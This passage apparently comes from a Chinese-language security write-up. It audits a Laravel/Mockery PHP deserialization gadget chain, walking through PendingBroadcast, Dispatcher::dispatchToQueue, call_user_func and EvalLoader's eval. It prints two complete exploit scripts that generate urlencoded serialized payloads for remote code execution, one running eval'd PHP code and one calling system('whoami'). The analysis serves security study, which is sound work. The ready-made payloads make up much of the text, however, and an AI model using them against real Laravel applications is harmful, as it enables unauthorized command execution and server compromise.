" . $definition->getCode());
}
}
call_user_func函数在第一个参数为数组的时候,第一个参数就是我们选择的类,第二个参数是类下的方法;所以这里直接去到EvalLoader类,去执行load方法从而调用到eval函数;这里发现存在参数,而且参数必须是MockDefinition类的实例;也即是意味着我们connection需要为MockDefinition类的实例;
继续审计发现,必须if为false才会触发eval方法;所以这里我们需要直接追溯到MockDefinition类中;
class MockDefinition
{
protected $config;
protected $code;
public function __construct(MockConfiguration $config, $code)
{
if (!$config->getName()) {
throw new \InvalidArgumentException("MockConfiguration must contain a name");
}
$this->config = $config;
$this->code = $code;
}
public function getConfig()
{
return $this->config;
}
public function getClassName()
{
return $this->config->getName();
}
public function getCode()
{
return $this->code;
}
}
看下getClassName函数;这里的config是可控的,所以我们直接找到一个存在getName方法并且可控该方法的类;全局搜索下找到MockConfiguration.php可以实现;
protected $name;
public function getName()
{
return $this->name;
}
因为最后是要经过class_exit函数的判断的,所以我们可以直接控制其返回一个不存在的类,就会造成false从而进入eval方法;继续回到eval方法;
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
}
这里还有个getCode方法,我们通过上面的类也可审计getCode方法;code在MockDefinition类中也是可控的,所以我们可以随意的控制其内容,那么我们就可命令执行;放出我exp:
?php
namespace Illuminate\Broadcasting{
use Illuminate\Contracts\Events\Dispatcher;
class PendingBroadcast
{
protected $event;
protected $events;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Mockery\Loader{
use Mockery\Generator\MockDefinition;
class EvalLoader
{
public function load(MockDefinition $definition)
{}
}
}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name;
public function __construct($name){
$this->name = $name;
}
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct($config,$code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace{
$e = new Mockery\Generator\MockConfiguration('s1mple');
$d = new Mockery\Loader\EvalLoader();
$f = new Mockery\Generator\MockDefinition($e,'?php phpinfo();?>');
$c = new Illuminate\Broadcasting\BroadcastEvent($f);
$a = new Illuminate\Bus\Dispatcher(array($d,"load"));
$b = new Illuminate\Broadcasting\PendingBroadcast($a,$c);
echo urlencode(serialize($b));
}
这里为了节省时间,我最后用abcdef直接代替了,造成rce;

细心的师傅想必也发现了;在最开始的call_user_func处,也是可以进行命令执行的;
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
这里可以直接控制进行命令执行;这个很简单,就直接放出我exp吧;
?php
namespace Illuminate\Broadcasting{
use Illuminate\Contracts\Events\Dispatcher;
class PendingBroadcast
{
protected $event;
protected $events;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace{
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$a = new Illuminate\Bus\Dispatcher('system');
$b = new Illuminate\Broadcasting\PendingBroadcast($a,$c);
echo urlencode(serialize($b));
}
